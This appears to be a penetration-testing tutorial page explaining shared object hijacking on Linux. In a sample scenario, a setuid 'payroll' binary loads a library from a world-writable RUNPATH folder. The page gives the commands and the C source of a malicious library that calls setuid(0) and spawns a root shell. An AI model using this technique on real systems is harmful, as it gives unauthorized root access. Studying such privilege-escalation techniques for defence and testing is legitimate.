Shared Object Hijacking
Sample Scenario
Assuming we have this binary that has a setuid
$ ls -la payroll
Using
ldd
we can see the non-standard librarylibshared.so
$ ldd payroll linux-vdso.so.1 => (0x00007ffcb3133000) libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000) /lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
As stated earlier, it is possible to load shared libraries from custom locations. One such setting is the
RUNPATH
configuration. Libraries in this folder are given preference over other folders. This can be inspected using the readelf utility.$ readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development]
As we can see, /development is writable by anyone
$ ls -la /development/ total 8 drwxrwxrwx 2 root root 4096 Sep 1 22:06 ./ drwxr-xr-x 23 root root 4096 Sep 1 21:26 ../
This misconfiguration can be exploited by placing a malicious library in
/development
, which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).Before compiling a library, we need to find the function name called by the binary.
Copy the
libshared.so
to the/development
$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
We can see that libshared.so is retrieved in /development/libshared.so so that means putting libraries in /development will work with the exploit.
Running the
payroll
again reveals the function name$ ./payroll ./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
Create a src.c file with the function name as the main funtion
#include<stdio.h> #include<stdlib.h> void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); }
Compile the code
$ gcc src.c -fPIC -shared -o /development/libshared.so
Last updated